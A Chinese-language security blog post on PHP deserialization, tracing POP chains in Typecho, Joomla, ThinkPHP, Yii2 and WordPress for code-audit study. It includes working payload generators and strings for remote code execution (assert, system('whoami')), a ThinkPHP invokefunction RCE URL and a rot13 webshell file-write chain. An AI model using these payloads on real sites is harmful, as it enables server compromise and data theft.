zoukankan      html  css  js  c++  java
  • 4. php反序列化从入门到放弃(放弃篇)

    上篇《php反序列化从入门到放弃(入门篇)》主要总结了PHP的反序列化的一些知识,本篇主要通过cms实例来更好的理解并且挖掘反序列化漏洞。

    以下cms的源码地址:https://github.com/bmjoker/Code-audit/

    Typecho1.0.14反序列化导致任意代码执行

    Typecho是一个PHP版本的轻量版博客系统,存在反序列化导致前台getshell的漏洞,通过分析这个漏洞来深入理解PHP反序列化漏洞。

    漏洞的触发点是install.php中的反序列化方法unserialize()

    先来看一下访问到unserialize()反序列化方法的前置条件

    $SERVER['HTTP_REFERER']需要与$_SERVER['HTTP_HOST']的值相等,意思是请求包中的字段 host==referer['host']

    这几个is..else的意思是如果想要执行的漏洞代码,需要满足:

      1. 通过GET请求接收到的finish参数不为空;

      2. __TYPECHO_ROOT_DIR__/config.inc.php文件不存在;

      3. cookie中或者POST方法传进来的参数中存在__typecho_config字段的值。

    具体分析一下漏洞代码

    跟进查看Typecho_Cookie这个类的get方法

    将Cookie中的__typecho_config或者POST传过来的__typecho_config的值取出来,使用base64解密,然后通过unserialize进行反序列化,并将反序列化之后的结果赋予变量$config

    漏洞的触发点就在于这个unserialize()方法,如果存在可以利用的漏洞利用点,像file_put_contents,exec...,就可以在__typecho_config

    构造特定的序列化payload数据来实现漏洞的利用,比如任意代码执行等。

    继续往下看,发现实例化一个Typecho_Db类的对象,并把$config['adapter']$config['prefix']传入Typecho_Db类中进行实例化,然后调用Typecho_DbaddServer方法对$config进行处理,跟进一下Typecho_Db类:

    这里看到:

    $this->_adapterName = $adapterName;
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    在入门篇都有提过魔术方法__toString()的几种触发方式。像上面的代码,如果$adapterName是一个实例化对象,在进行了字符串的拼接的时候就会触发该类的__toString()魔术方法。

    全局搜索一下魔术方法__toString()

    这里发现Config.php,Feed.php,Query.php三个文件都包含__toString()方法。现在的目的是依次去分析三个php文件中的__toString()方法,寻找漏洞的利用点,构造相应的反序列化链。

    Config.php  -->  __toString()

    这里调用__toString()做了序列化???没什么利用点,pass。

    Query.php  -->  __toString()

    在492行看到如下代码

    如果$this->_adapter是一个不存在parseSelect方法的类的对象的时候,那么调用parseSelect方法就是访问一个不可访问的方法,就会触发该类的魔术方法__call()。全局搜一下魔术方法__call(),最后发现Plugin.php有以下代码:

    $component是调用失败的方法名,$args是调用时的参数。均可控,但是根据上文,$args必须存在array('action'=>'SELECT'),然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致$args长度至少为3,那么call_user_func_array()便无法正常执行。所以此路就不通了

    Feed.php  -->  __toString()

    在290行看到如下代码

    这里的$item由foreach()循环得来,使用$item['author'->screenName]获取author对应的screenName属性,这里就存在一个序列化链的构造点,如果$item['author']是一个不存在screenName属性的类的对象的时候,那么访问screenName就是访问一个不存在的属性,就会触发该类的魔术方法__get()。全局搜一下魔术方法__get(),查找利用点:

    这里不再一个一个分析了,最后在Request.php找到了利用链:

    跟进get方法

    $value是$this->_params[$key]的值,$key就是screenName,是可以控制的输入值,继续跟进_applyFilter方法:

    参数$filter$value都可控,并且call_user_func()array_map()方法都可通过回调函数实现任意代码执行。

    最终的调用链如下:

    call_user_func <-- Typecho_Request::_applyFilter <-- Typecho_Request::get <-- Typecho_Request::__get <--  Typecho_Feed::__toString <-- Typecho_Db::__construct

    构造序列化payload:

    <?php 
    class Typecho_Feed{
        private $_items=array();
        private $_type='RSS 2.0';
        public function __construct(){
           $this->_items[0]=array(
                'category' => array(new Typecho_Request()),
                'author' => new Typecho_Request()     
                );
        }
    }
    class Typecho_Request{
        private $_filter = array();
        private $_params = array();
        function __construct(){
            $this->_params['screenName'] = 'phpinfo();';
            $this->_filter[0] = 'assert';
        }
    }
    $exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix' => 'typecho_',
    );
    print_r(base64_encode(serialize($exp)));
    ?>

    成功复现。

    来看一下官方的补丁:

    https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e#diff-3b7de2cf163f18aa521c050bb543084f

    更换判断是否安装的方法,删除反序列化代码。

    Joomla3.4.6反序列化导致任意代码执行

    Joomla反序列化漏洞的主要原因是:

    Joomla不论账号密码是否正确,都会把登录的用户名和密码,通过序列化的方式存储在session表中,再以反序列化的方式读取session表中的内容。由于protected修饰的变量在序列化的时候,会变成x00 + * + x00 + [变量名]的形式,而mysql无法保存NULL字节的数据,所以在向session表写入的过程中会将 x00*x00替换为 ,同样在读取session表中的内容的时候会再次转换,然后进行反序列化。如果在向session表存储的过程中构造恶意构造一些,那么在进行反序列化的时候就会由于字节数对不上,导致 "溢出" ,使得反序列化对象逃逸出来。

    本地搭建环境,尝试使用错误的账号密码登录,查看一下session表中的内容:

    在登录过程中,会有一个303的跳转,这个跳转是先把用户的输入经过序列化存储在session表中,读取的时候再从session表中取出数据进行反序列化,进行账号密码对比

    通过序列化写入session表的具体代码如下:

    Joomla/libraries/joomla/session/storage/database.php  ——>  write()

    因为protected修饰的变量在序列化后会变成这种形式:x00 + * + x00 + [变量名],而mysql无法保存NULL字节的数据,所以在代码中可以看到在写入session表的过程中会将x00*x00替换为来进行存储,就比如Registry类下protected修饰的$data变量,序列化存储为:

    通过反序列化读取session表的具体代码如下:

    Joomla/libraries/joomla/session/storage/database.php  ——>  read()

    在读取时会重新把替换为x00*x00来进行反序列化。

    漏洞的关键点在于反序列化存入session表中的数据比原始数据要多3个字节,如下图所示:

    如果传入的用户名为admin,序列化写入session表中的数据为:

    s:8:"username";s:11:"admin";s:8:"password";s:6:"123456";

    在调用read方法进行读取时会先将转换为N*Nx00为空字节为方便展示这里使用N代替):

    s:8:"username";s:11:"N*Nadmin";s:8:"password";s:6:"123456";

    因为read之后长度变短了3个字节,在反序列化的时候username的值为s:11:"N*Nadmin",但是实际只有8个字节,为了满足反序列化的规则,就会吃掉后面3个字节的数据,直至凑齐11个字符,也就是s:11:"N*Nadmin";s

    利用这个思路,足够多的就可以将password字段的数据逃逸出来,构造如下:

    s:8:s:"username";s:54:"";s:8:"password";s:6:"123456"

    read()之后:

    s:8:s:"username";s:54:"N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345

    username的值为N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345,后面补上";就成功逃逸出来了

    实现对象注入:

    s:8:s:"username";s:54:"N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345";s:2:"HS":O:15:"ObjectInjection"

    写个小demo方便理解:

    <?php
    class User {
        public $username;
        public $password;
    
        public function __construct($username, $password) {
            $this->username = $username;
            $this->password = $password;
        }
    }
    class danger{
        public $cmd;
        public function __construct(){
            $this->cmd = $cmd;
        }
        public function __destruct(){
            system($this->cmd);
        }
    }
    $username = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    $password = "1234";
    $payload = '";s:8:"password";O:6:"danger":1:{s:3:"cmd";s:4:"calc";}';
    $password = $password.$payload;
    $object = new User($username,$password);
    $ser = serialize($object);
    $data = str_replace('N*N', '', $ser);
    var_dump($data);
    echo "</br></br></br></br>";
    $result = str_replace('','N*N', $ser);
    var_dump($result);
    echo "</br></br></br></br>";
    $unser = unserialize($result);
    var_dump($unser);
    ?>

    下面尝试去构造反序列化链来利用。

    早在Joomla1.5~3.4的时候就曾爆出过session反序列化攻击,具体可以参照P牛的文章:

    Joomla远程代码执行漏洞分析

    Joomla 1.5~3.4 session对象注入漏洞

    这里来分析一下利用链,通过搜索eval/assert/call_user_func...这类可以利用并且参数可控的危险函数,可以找到用于构造执行链的类:

    这几个文件调取call_user_func的方式都相同,来看一下librariesjoomladatabasedrivermysqli.php中方法的具体实现

    JDatabaseDriverMysqli这个类的对象被调用,在结束时都会调用析构函数__destruct__destruct中会调用disconnect()方法。

    而当$this->connection为true的时候,就会调用call_user_func_array($h, array(&$this)); 方法对disconnectHandlers数组中的每个值,都会执行call_user_func_array(),并将&$this作为参数引用,但是不能控制参数,所以不能直接构造assert+eval来执行任意代码。

    继续往下看发现在librariessimplepiesimplepie.php中有一处call_user_func方法调用

    这个call_user_func($this->cache_name_function, $this->feed_url)两个参数都是可控的,于是只要满足$this->cache为True,$this->raw_data为True,$parsed_feed_url['scheme']不为空就能够RCE了,并且$parsed_feed_url['scheme']可以能够利用|| $a='http//';绕过scheme的解析

    不过这个call_user_func属于init()方法,并不属于魔术方法,所以需要结合前面JDatabaseDriverMysqli类下的disconnect()中的call_user_func_array方法实现对init()方法的回调。就相当于:

    $this->disconnectHandlers = array("test"=>array(new SimplePie(),"init"));

    这样的话就相当于实例化了一个SimplePie类的对象,并且调用SimplePie类下的init()方法。

    官方给的有相似的例子:https://www.php.net/manual/zh/function.call-user-func-array.php

    这里还有一个问题,虽然实例化了一个SimplePie的类,但是SimplePie类不会自动加载。需要去引入加载类。

    /libraries/legacy/simplepie/factory.php

    发现刚开始就导入了SimplePie类,并且JSimplepieFactory类属于autoload,会自动加载,这样的话只需要引入这个类就可以成功加载SimplePie

    payload如下:

    <?php
    class JSimplepieFactory{}
    class JDatabaseDriverMysql{}
    class JDatabaseDriverMysqli
    {
        protected $abc;
        protected $connection;
        protected $disconnectHandlers;
        function __construct()
        {
            $this->abc = new JSimplepieFactory();
            $this->connection = 1;
            $this->disconnectHandlers = [
                [new SimplePie, "init"],
            ];
        }
    }
    class SimplePie
    {
        var $sanitize;
        var $cache_name_function;
        var $feed_url;
        function __construct()
        {
            $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
            $this->cache_name_function = "assert";
            $this->sanitize = new JDatabaseDriverMysql();
        }
    }
    $obj = new JDatabaseDriverMysqli();
    $ser = serialize($obj);
    echo str_replace(chr(0) . '*' . chr(0), '', $ser);
    ?>

    最后构造的账号密码为:

    username:000000000000000000000000000
    
    password:
    123";s:4:"test":O:21:"JDatabaseDriverMysqli":3:{s:6:"abc";O:17:"JSimplepieFactory":0:{}s:13:"connection";i:1;s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}}

    尝试登录:

    成功执行命令

    Thinkphp5.0.24反序列化导致命令执行

    Thinkphp框架流程

    此部分内容参考与《TP5.0.xRCE&5.0.24反序列化分析

    这里将Thinkphp5.0.22解包之后可以看到如下目录结构:

    根据类的命名空间可以快速定位文件位置,在ThinkPHP5.0的规范里面,命名空间其实对应了文件的所在目录,app命名空间通常代表了文件的起始目录为application,而think命名空间则代表了文件的其实目录为thinkphp/library/think,后面的命名空间则表示从起始目录开始的子目录,如下图所示:

    Thinkphp框架的入口文件为:public/index.php

    框架引导文件:thinkphp/start.php

    基础文件:thinkphp/base.php

    此文件具体做了以下操作:

    • 定义了一些define常量
    • 载入了Loader类
    • 加载环境变量配置文件
    • 注册自动加载
    • 注册错误和异常处理机制处理
    • 加载默惯例配置文件

    这其中比较重要的就是注册自动加载机制,跟踪进Loader:regiester()方法

    具体有以下几个部分:

    1. 注册系统自动加载

    使用了spl_autoload_register函数,这是一个自动加载函数,若是实例化一个未定义的类时就会触发该函数,然后会触发第一个参数
    作为指定的方法,可以看到此函数指定了thinkLoader::autoload作为触发方法

    2. Composer自动加载支持

    3. 注册命名空间定义

    think => thinkphp/library/think
    behavior => thinkphp/library/behavior
    traits => thinkphp/library/traits

    4. 加载类库映射文件

    5. 自动加载extend目录

    执行应用(thinkphp/library/think/App.php)

    如上为部分代码,首先返回一个request实例,初始化应用并返回配置信息(self::initCommon)。

    之后进行如下的操作:

    • 查看是否存在模块/控制器绑定:defined('BIND_MODULE')
    • 对于request的实例根据设置的过滤规则进行过滤:$request->filter($config['default_filter'])
    • 加载系统语言包
    • 监听app_dispatch,并获取应用调度信息:Hook::listen('app_dispatch', self::$dispatch)
    • 未设置调度信息则进行URL路由检测:self::routeCheck($request, $config)
    • 记录当前调度信息,路由以及请求信息到日志中
    • 请求缓存检查并进行 $data = self::exec($dispatch, $config),根据$dispatch进行不同的调度,返回$data
    • 清除类的实例化:Loader::clearInstance()
    • 输出数据到客户端,$response = $data,返回一个Response类实例
    • 调用Response->send()方法将数据返回给客户端

    大概整个流程图如下:

    这里要特别提一下这个URL路由检测(routeCheck

    通过$path = $request->path()获取到请求的path_info,$depr是定义的分隔符,默认为' / ',之后进行路由检测步骤如下:

    • 查看是否存在路由缓存,存在就包含
    • 读取应用所在的路由文件,一般默认为route.php
    • 导入路由配置
    • Route::check(根据路由定义返回不同的URL调度)
    • 检查是否强制使用路由 $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']
    • 路由无效,将自动解析模块的URL地址会进入到Route::parseUrl($path, $depr, $config['controller_auto_search'])

    跟进Route::check,具体做了以下操作:

    • 检查解析缓存
    • 替换分隔符,str_replace($depr, '|', $url),将' / '换成了' | '
    • 获取当前请求类型的路由规则,由于在之前的Composer自动加载支持,在vendortopthink/think-captcha/src/helper.php中注册了路由,所以在$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];中的Route::$rules['get']已经存在了相应的路由规则
    • 检测域名部署:self::checkDomain($request, $rules, $method);
    • 检测URL绑定:self::checkUrlBind($url, $rules, $depr);
    • 静态路由规则检查:self::checkOption($rule['option'], $request)
    • 路由规则检查:self::checkRoute($request, $rules, $url, $depr)

    继续跟进CheckRoute

    • 检查参数有效性:self::checkOption($option, $request)
    • 替换掉路由ext参数
    • 检查分组路由
    • 检查指定特殊路由,例如:__miss__和__atuo__
    • 检查路由规则checkRule:self::checkRule($rule, $route,$url, $pattern, $option, $depr);
    • 最终未被匹配路由的进入到self::parseRule('', $miss['route'], $url, $miss['option'])进行处理,这就牵涉到TP对于路由的多种定义

    整个路由流程如下图:

    thinkphp传参

    在具体分析流程前传参方式,首先介绍一下模块等参数

    • 模块 : applicationindex,这个index就是一个模块,负责前台相关
    • 控制器 : 在模块中的文件夹controller,即为控制器,负责业务逻辑
    • 操作 : 在控制器中定义的方法,比如在默认文件夹中applicationindexcontrollerIndex.php中就有两个方法,index和hello
    • 参数 : 就是定义的操作需要传的参数

    在本文中会用到两种传参方式,其他的方式可以自行了解

    1. PATH_INFO模式 : http://127.0.0.1/public/index.php/模块/控制器/操作/(参数名)/(参数值)...
    
    2. 兼容模式 : http://127.0.0.1/public/index.php?s=/模块/控制器/操作&(参数名)=(参数值)...

    其中index.php就称之为应用的入口文件

    模块在ThinkPHP中的概念其实就是应用目录下面的子目录,而官方的规范是目录名小写,因此模块全部采用小写命名,无论URL是否开启大小写转换,模块名都会强制小写。

    如果直接访问入口文件index.php的话,由于URL中没有模块、控制器和操作,因此系统会访问默认模块(index)下面的默认控制器(Index)的默认操作(index),因此下面的访问是等效的:

    http://127.0.0.1/thinkphp_5.0.22/public/index.php
    http://127.0.0.1/thinkphp_5.0.22/public/index.php/index/index/index

    如果要访问index控制器的hello方法,则需要使用完整的URL地址:

    http://127.0.0.1/thinkphp_5.0.22/public/index.php/index/index/hello/name/bmjoker

    /hello/name/bmjoker:hello是方法名,name是参数名称,bmjoker是传递进去的参数

    如果是多个参数,再后面累加即可

    默认情况下,URL地址中的控制器和操作名是不区分大小写的,因此下面的访问其实是等效的:

    http://127.0.0.1/thinkphp_5.0.22/public/index.php/Index/Index
    http://127.0.0.1/thinkphp_5.0.22/public/index.php/INDEX/INDEX

    applicationindexcontroller目录下新建一个Test.php,我们访问下面链接即可访问到Test控制器下的hello方法:

    http://127.0.0.1/thinkphp_5.0.22/public/index.php/index/test/hello/name/bmjoker

    大概明白这个请求过程,下面来分析一下漏洞。

    Thinkphp5.0.22命令执行漏洞分析

    如果大概了解上面的thinkphp5的框架流程,下面的分析应该不会太晕。

    payload:
    http://127.0.0.1/thinkphp_5.0.22/public/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    依次来调试分析。

    程序入口 public/index.php

    public/start.php会去调用App类的run方法

    run()有两个比较重要的方法:routeCheck()方法和exec()方法

    由于未设置调度信息,所以$dispatch为null,进入if循环调用routeCheck()方法进行URL路由检测

    跟进routeCheck()方法,看到最上面$path通过path()方法获取,值为payload中s后面的参数"index/thinkapp/invokefunction"

    这里可以尝试跟进一下path()方法:

    最后返回的$this->path$pathinfo获取来的,$pathinfo又是通过pathinfo()方法获取来的,跟进pathinfo()方法

    看到这里基本上就破案了,先判断通过$_GET方式传递过来的参数中有没有s传递过来的参数,如果有的话就获取,最后去掉两边的' / '然后return,也就是"index/thinkapp/invokefunction"

    继续往下走,可以看到有如下判断

    $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

    如果开启了强制路由,那么输入的路由将报错导致后面导致程序无法运行,也就不存在RCE漏洞,但是默认是开启的。

    最后调用Route::parseUrl()

    先通过str_replace()函数将$url("index/thinkapp/invokefunction")中的' / '替换成' | ',然后调用parseUrlPath对$url进行分割,会把index/ hinkapp/invokefunction' / '为分隔符,分成['index','thinkapp','invokefunction']

    根据thinkphp路由规则index为模块 、thinkapp为控制器、invokefunction为操作,最后封装成路由

    到这里为止App::routeCheck()方法才算走完

    继续往下读App.php的代码,关键代码在App::exec中,因为返回值中为module,因此进入黄色部分

    跟进module方法,黄色部分检测module是否存在,不存在则报错。

    上面代码表示只要$module存在,并且$available为True,就可以初始化模块,并进行调用。

    继续往下看代码,构造控制器的过程调用了Loder::controller方法,然后又调用了self::getModuleAndClass该方法就是获取Module、Class的,这里通过判断$name中是否存在' ',若存在class就是$name,此时$name为thinkApp,因此$class=thinkApp,至此就成功调用了App类

    控制器之后会获取当前的操作名,跟进self::invokeMethod()

    该方法里用了ReflectionMethod来构造App类的invokefunction方法,然后就是调用App::invokefunction()

    跟进App::invokefunction(),最后就是执行命令的地方,利用ReflectionFunction,来构造自己想要的函数执行即可,$function$vars,都可以通过$_GET方式获取

    因此通过url传参function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    Thinkphp5.0.24反序列化导致命令执行

    这个漏洞是框架的反序列化漏洞,只有二次开发实现了反序列化才可以利用,在/application/index/controller/Index.php中添加反序列化反序列化触发点代码

    class Index
    {
        public function index()
        {
            echo "Welcome thinkphp 5.0.24";
            unserialize(base64_decode($_GET['a']));
        }
    }

    此版本的利用方式是通过反序列化达到写文件的目的。起点在thinkphp/library/think/process/pipes/Windows.php中的windows类的__destruct()析构函数

    这里调用了removeFiles()方法,跟进查看:

    这里将$filename传入file_exists()方法,如果$filename为某个类的对象,使用file_exists()会触发该类的__toString()方法

    这时候全局搜索__toString()方法,跟踪判断可用的类,这里选择thinkphp/library/think/Model.php中的Model类的__toString()方法

    函数里面调用了toJson()方法,跟进查看

    继续跟进toArray()方法查看,因为代码量太多,这里列出关键代码:

    关键代码在下面黄色框中,使用method_exists()判断$relation是否为该类下的方法,而$modelRelation = $this->$relation(),并且$relation的值由$name的值决定,同时$name的值由$this->append决定,$this->append的值可控,意味着$modelRelation也是可控的。这里选择Model类中的getError方法,因为其返回值直接可控

    到这里跟进getRelationData()方法看一下具体操作

    当执行到$value = $modelRelation->getRelation()时,就可以执行任意类的getRelation方法,这里可选择的就比较多,比如HasOne.php,BelongsTo.php...这里选择位于thinkphp/library/think/model/relation/HasOne.php的HasOne类的getRelation方法

    重点是上述黄框中的代码,由于$this->query是可控的参数,如果$this->query为某类的对象,此类中不存在removeWhereField方法,那么就会调用此类的魔术方法__call(),并且传进去的参数$this->foreignKey也是可控的参数。这里需要全局搜索可以利用的魔术方法__call()。这里选择触发位于thinkphp/library/think/console/Output.php的Output类的__call()方法

    跟进Output类中的__call方法:

    首先把$args传入block方法中,跟进查看

    跟进writeln方法

    跟进write方法

    这里$this->handle可控,可以实现对任意类的write方法的调用,全局搜索->write(,来寻找调用write的类。这里选择位于think/session/driver/Memcache.phpMemcache类的write方法 

    $this->handle = new Memcache()

    同样$this->handler可控,这样可以调用其他类的set方法,这里选择位于thinkphp/library/think/cache/driver/File.phpFile类的set方法

    $this->handler = new File();

    这也是反序列化链最后写文件的地方,看一下file_put_contents($filename, $data)的两个参数的来源,$filename需要跟进getCacheKey()方法

    $filename是由$this->options['path']$name组成的,两个参数都是可控的,所以$filename就是可控的,其中md5值可以自己计算出来。

    然后看一下$data,其值由$value决定,向上回溯会发现,该值的类型是布尔类型

    此处的$data值不可控,那么目前我们无法写shell,回到File.php::set()方法中,注意到一条语句$this->setTagItem($filename),跟进setTagItem方法

    可以发现在setTagItem()方法最后重新调用了set方法,因为$key = 'tag_' . md5($this->tag)$this->tag可控,所以这个$key也是可控,而当else的时候$value = $name,并且$name是之前分析过的$filename传进来的参数,所以$value也是可控的,在最后的时候会再次调用set方法,同时也能完全控制写入的文件名和文件内容,但是在写入文件内容时:

    $data = "<?php
    //" . sprintf('%012d', $expire) . "
     exit();?>
    " . $data;
    $result = file_put_contents($filename, $data);

    如果想要写入我们的payload,需要绕过前面exit()方法的限制,这里可以参考以下几种方法《file_put_content和死亡·杂糅代码之缘

    这里使用伪协议+rot13编码绕过,不过前提是服务器没有开启短标签,在本地尝试写入:

    整个反序列化调用链为:

    file_put_contents <- File.php::set() <- Driver.php::setTagItem() <- File.php::set() <- Memcache.php::write() <- Memcache.php::writeln() <- Output.php::block() <- Output.php::__call() <- HasOne.php::getRelation() <- Model.php::getRelationData <- Model.php::getError() <- Model.php::toArray() <- Model.php::toJson() <- Model.php::__toString() <- Windows.php::removeFiles() <- Windows.php::__destruct()

    结合上面的分析尝试写一下payload:

    <?php
        namespace thinksessiondriver;
        use thinkcachedriverFile;
        class Memcached{
            protected $handler = null;
            function __construct(){
                $this->handler = new File();  //此处赋值$this->handler为File类的一个对象,这样就可以调用File.php::set()方法
            }
        }
    
        namespace thinkcache;
        abstract class Driver{
            function __construct(){}
        }
    
        namespace thinkcachedriver;
        use thinkcacheDriver;
        class File extends Driver{  //此处重写File.php::set方法,构造写入的$filename
            protected $tag;
            protected $options = [];
            function __construct(){
                $this->tag = 'nocatch';
                $this->options = [
                    'cache_subdir'=>false,
                    'prefix'=>'',
                    'path'=>'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>',  //rot13编码
                    'data_compress'=>false,
                ];
            }
        }
    
        namespace thinkconsole;
        use thinksessiondriverMemcached;
        class Output{
            private $handle = null;
            protected $styles = [];
            function __construct(){
                $this->styles = ['removeWhereField'];  
                $this->handle = new Memcached();  //此处赋值$this->handle为Memcached的一个对象,来调用Memcached::write()方法
            }
        }
    
        namespace thinkmodel;
        use thinkconsoleOutput;
        abstract class Relation{
              protected $query;
              protected $foreignKey;
              function __construct(){
                $this->query = new Output();  //此处赋值$this->query为Output的一个对象,这样因为不存在removeWhereField方法,从而会调用Output类的__call方法
                $this->foreignKey = "aaaaaaaaa";  //参数
            }
        }
    
        namespace thinkmodel
    elation;
        use thinkmodelRelation;
        abstract class OneToOne extends Relation{}
    
        namespace thinkmodel
    elation;
        class HasOne extends OneToOne{}
    
        namespace think;
        use thinkmodel
    elationHasOne;
        use thinkconsoleOutput;
        abstract class Model{
            protected $append = [];
            protected $error;
            protected $parent;
             function __construct(){
                $this->append = ['bmjoker'=>'getError'];
                $this->error = new HasOne();  //此处赋值$this->error为类HasOne的一个对象
            }
        }
    
        namespace thinkprocesspipes;
        use thinkmodelconcernConversion;
        use thinkmodelPivot;
        class Windows
        {
            private $files = [];
            public function __construct()
            {
                $this->files=[new Pivot()];  //此处赋值$filename为类Pivot的一个对象
            }
        }
    
        namespace thinkmodel;
        use thinkModel;
        class Pivot extends Model{}  //此处会自动调用Model类
    
        use thinkprocesspipesWindows;
        echo base64_encode(serialize(new Windows()));
    ?>

    注意这个洞在windows下是复现不了的,因为windows对文件名有限制,会写入失败。

    Yii2.0.37反序列化导致命令执行

    漏洞版本为<2.0.37,从github拉取代码下来:https://github.com/yiisoft/yii2/releases

    下载到本地后解压到phpstudy/www目录,修改config/web.php文件里cookieValidationKey的值

    在Controller目录下添加一个反序列化的入口代码:

    测试是否搭建成功

    来分析一下漏洞

    第一条POP链

    反序列化的起点是在yiidbBatchQueryResult类的析构函数__destruct(),文件位置/vendor/yiisoft/yii2/db/BatchQueryResult.php

    这里调用了reset()方法,跟进发现在reset()方法中通过$this->_dataReader调用了close()方法,因为这里$this->_dataReader参数是可控的,由此的话可以通过赋值为其他类的对象来调用其他类的__call()魔术方法。全局搜索关键字function __call(来寻找可用的类:

    这里选择FakerGenerator类下的__call()方法,文件路径在vendorfzaninottofakersrcFakerGenerator.php

    继续跟进format()方法:

    使用回调函数call_user_func_array()第一个参数调用了getFormatter()方法获取,其第二个参数$arguments是从yiidbBatchQueryResult::reset()里传进来的,是一个null空参,跟进getFormatter()方法

    由于$this->formatters参数是可控的,所以这里就可以赋值为任意类的对象,并可以调用类中的任意方法。

    因为参数$formatter= ' close '$arguments为空,所以call_user_func_array()这个函数的第一个参数可控,第二个参数为空。需要去寻找实现命令执行的方法,并且参数可控。使用正则表达式call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+))来匹配:

    首先第一处,文件路径vendoryiisoftyii2 estIndexAction.php

    参数$this->checkAccess$this->id都是可控的,只要调用run()方法,构造参数即可实现命令执行。

    第二处,文件路径:vendoryiisoftyii2 estCreateAction.php

    跟上面的一样。

    反序列化链为:

    CreateAction::run() <- Generator::__call() <- BatchQueryResult::__destruct()

    尝试写一下payload:

    <?php
    namespace yii
    est{
        class CreateAction{
            public $checkAccess;
            public $id;
    
            public function __construct(){
                $this->checkAccess = 'system';
                $this->id = 'whoami';
            }
        }
    }
    
    namespace Faker{
        use yii
    estCreateAction;
    
        class Generator{
            protected $formatters;
    
            public function __construct(){
                $this->formatters['close'] = [new CreateAction, 'run'];
            }
        }
    }
    
    namespace yiidb{
        use FakerGenerator;
    
        class BatchQueryResult{
            private $_dataReader;
    
            public function __construct(){
                $this->_dataReader = new Generator;
            }
        }
    }
    namespace{
        echo base64_encode(serialize(new yiidbBatchQueryResult));
    }
    ?>

    第二条POP链

    起点在于RunProcess类,文件路径vendorcodeceptioncodeceptionextRunProcess.php

    其中因为$this->processes是可控的,所以依然可以构造来调用类的__call()方法,接下来和第一条POP链一样,只是起点不同。此时反序列化链:

    CreateAction::run() <- Generator::__call() <- RunProcess::__destruct()

    payload为:

    <?php
    namespace yii
    est{
        class CreateAction{
            public $id;
            public $checkAccess;
    
            public function __construct()
            {
                $this->id = 'whoami';
                $this->checkAccess = 'system';
            }
        }
    }
    
    namespace Faker{
        use yii
    estCreateAction;
    
        class Generator{
            protected $formatters;
    
            public function __construct()
            {
                $this->formatters['isRunning'] = [new CreateAction(), 'run'];
            }
        }
    }
    
    namespace CodeceptionExtension{
        use FakerGenerator;
    
        class RunProcess{
            private $process;
    
            public function __construct()
            {
                $this->process = [new Generator()];
            }
        }
    }
    
    namespace {
        echo base64_encode(serialize(new CodeceptionExtensionRunProcess()));
    }

    第三条POP链

    起点在于Swift_KeyCache_DiskKeyCache类,漏洞文件vendorswiftmailerswiftmailerlibclassesSwiftKeyCacheDiskKeyCache.php

    跟进clearAll()方法:

    这里$this->path是可控的参数,与字符串' / '拼接就会触发魔术方法__toString(),这里全局搜索一下function __toString(,寻找可以利用的类。

    这里选择Deprecated类下的__toString()方法,文件路径vendorphpdocumentor eflection-docblocksrcDocBlockTagsDeprecated.php

    因为$this->description为可控参数,通过构造,同时可以触发魔术方法__call(),接下来的利用跟上面一样。反序列化链为:

    yii
    estIndexAction::run() <- FakerGenerator::__call() <- srcDocBlockTagsDeprecated.php::__toString() <- SwiftKeyCacheDiskKeyCache::__destruct()

    payload为:

    <?php
    namespace yii
    est{
        class CreateAction{
            public $id;
            public $checkAccess;
    
            public function __construct()
            {
                $this->id = 'whoami';
                $this->checkAccess = 'system';
            }
        }
    }
    
    namespace Faker{
        use yii
    estCreateAction;
    
        class Generator{
            protected $formatters;
    
            public function __construct()
            {
                $this->formatters['render'] = [new CreateAction(), 'run'];
            }
        }
    }
    
    namespace phpDocumentorReflectionDocBlockTags{
        use FakerGenerator;
    
        class Deprecated{
            protected $description;
            public function __construct()
            {
                $this->description = new Generator();
            }
        }
    }
    
    namespace {
        use phpDocumentorReflectionDocBlockTagsDeprecated;
    
        class Swift_KeyCache_DiskKeyCache{
            private $path;
            private $keys;
    
            public function __construct()
            {
                $this->path = new Deprecated();
                $this->keys = array("just"=>array("for"=>"xxx"));
            }
        }
        echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
    }

    经过上面的POP链可以发现基本都是尝试去寻找可以触发魔术方法__call()的地方,后半部分一样,只是漏洞的触发点不同,与此类似的POP链还有:

    yii
    estIndexAction::run() <- FakerGenerator::__call() <- srcDocBlockTagsSee.php::__toString() <- SwiftKeyCacheDiskKeyCache::__destruct()

    还有:

    yii
    estIndexAction::run() <- FakerGenerator::__call() <- srcDocBlockDescription.php::__toString() <- SwiftKeyCacheDiskKeyCache::__destruct()

    wordpress4.9反序列化导致任意代码执行

    具体分析请参考:

    PHP反序列化漏洞的新攻击面

    利用 phar 拓展 php 反序列化漏洞攻击面

  • 相关阅读:
    Jenkins理解逻辑图
    什么是Jenkins?
    SpringBoot Test及注解详解
    如何熟悉一个新项目
    调用百度OCR模块进行文字识别
    python安装包的方法&安装遇到的问题总结_2020_11_19
    怎么让谷歌浏览器记住密码(不需要任何插件)
    excel以一列数据为x一列为y作折线图
    java创建新java文件的方法
    Mathematics释放变量的方法
  • 原文地址:https://www.cnblogs.com/bmjoker/p/13831713.html
Copyright © 2011-2022 走看看